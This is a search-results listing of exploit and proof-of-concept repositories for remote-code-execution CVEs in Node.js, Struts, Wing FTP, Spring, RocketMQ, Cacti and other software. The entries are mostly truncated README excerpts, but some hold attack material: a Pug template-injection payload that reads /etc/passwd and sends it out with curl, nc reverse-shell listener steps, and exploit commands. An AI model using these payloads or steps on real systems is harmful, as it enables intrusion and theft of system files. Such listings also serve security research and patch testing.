323004 matches found
nodejshell
NODEJSHELL - Reverse shell exploit for NodeJs deserialization CVE-2017-5941 The exploit automatically generates the reverse shell payload which is encoded in decimal and then in base64. After that, this payload is sent via an HTTP POST request that serializes the user input and stores it in a...
CVE-2025-47812
CVE-2025-47812 – Wing FTP Server RCE Exploit Exploit Title: Wing FTP Server 7.4.4 Remote Code Execution via Lua Injection CVE: CVE-2025-47812 Tested on: Wing FTP Server v7.3.x Windows/Linux Impact: Remote Code Execution RCE as SYSTEM/root Severity: Critical Description A vulnerability in Wing FTP...
CVE-2015-1635-POC
️⃣ CVE-2015-1635-POC Remote Code Execution in HTTP.sys MS15-034...
CVE-2022-1388-rs
CVE-2022-1388-rs Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in Rust Summary To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerability: Connection header must include X-F5-Auth-Token...
CVE-2019-11581
CVE-2019-11581 Atlassian JIRA Template injection vulnerability RCE Demo python CVE-2019-11581.py http://xx.xx.xx.xx:8080/ "Command" Vuln Version Download https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe Poc...
parquet-avro-rce
This repository does not have a README...
CVE-2014-0094
CVE-2014-0094 For verification. Refer to https://piyolog.hatenadiary.jp/entry/20140417/1397750197, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 reproduced. The classLoader is working, but the crucial log is percent-encoded, so it does not lead to RCE Windows version also added but only 7u191...
distccd_rce_CVE-2004-2687
distccdrceCVE-2004-2687 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2004-2687 ️⃣ Upgrade to Python3 Overview This repository contains a Proof of Concept PoC exploit for the distccd vulnerability identified as CVE-2004-2687. The vulnerability exists in the distccd daemon, which is part of the distcc distributed C/C++...
PUG-RCE-CVE-2021-21353-POC
PUG-RCE CVE-2021-21353 POC Vulnerability Information CVE Number: cve-2021-21353 CVSS Score: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...
CVE-2017-5638-PoC
CVE-2017-5638 Apache Struts 2 RCE Proof of Concept This repository contains a Proof of Concept PoC script demonstrating the Remote Code Execution RCE vulnerability identified as CVE-2017-5638 in Apache Struts 2. Vulnerability Details CVE ID: CVE-2017-5638 Affected Software: Apache Struts 2 versio...
CVE-2020-0601
ChainOfFools AKA CurveBall AKA CVE-2020-0601 Collection of CVE-2020-0601 ChainOfFools | CurveBall resources General A summary from the NSA advisory states. NSA has discovered a critical vulnerability CVE-2020-0601 affecting Microsoft Windows®1 cryptographic functionality. The certificate validati...
CVE-2023-27842
CVE-2023-27842 eXtplorer 2.1.15 – Insecure Permissions following Remote Code Execution Authenticated Vendor Homepage: http://extplorer.net/ Software Link: http://extplorer.net/attachments/download/99/eXtplorer2.1.15.zip Version: 2.1.15 Installation git clone https://github.com/0xFTW/CVE-2023-2784...
CVE-2022-39197
CVE-2022-39197 RCE POC Reference Links https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — There’s a great in depth analysis of this vulnerability https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...
CVE-2022-22965-poc
CVE-2022-22965 poc CVE-2022-22965 poc including reverse-shell and password support. Feel free to add more stuff : How to test? $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py...
CVE-2023-33246_RocketMQ_RCE_EXPLOIT
CVE-2023-33246 RocketMQ Remote Code Execution Exploit CVE-2023-33246 RocketMQ Remote Code Execution Exploit Overview RocketMQ is a distributed messaging and streaming platform. RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is leaked on...
CVE-2022-36067-vm2-POC-webapp
CVE-2022-36067-vm2-POC-webapp Steps to reproduce 1. maybe install vm2 globally first npm -install [email protected] -g 2. run: node index.js 3. visit http://localhost:5000/poc 4. Upload poc file such as poc2.js or code and observe RCE...
CVE-2020-9496
CVE-2020-9496 ApacheOfBiz 17.12.01 - Unauthorized Remote Code Executión XML-RPC request are vulnerable to unsafe deserialization. Steps Step 1: pip3 install -r requeriments.txt Step 2: nc -nlvp attack computer Step 3: python3 shell.py -i -p -li -lp Step 4: You should have a shell in your nc liste...
CVE-2018-16763
CVE-2018-16763 Exploit Title: fuel CMS 1.4.1 - Remote Code Execution Python3 script - 💻 This script was developed by h3x0v3rl0rd...
CVE-2023-39362-cacti-snmp-command-injection-poc
Command injection vulnerability in Cacti CVE-2023-39362 - PoC This repo is forked from this repo: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti is an open-source operational monitoring and fault management framework, continually evolving to meet the dynamic needs ...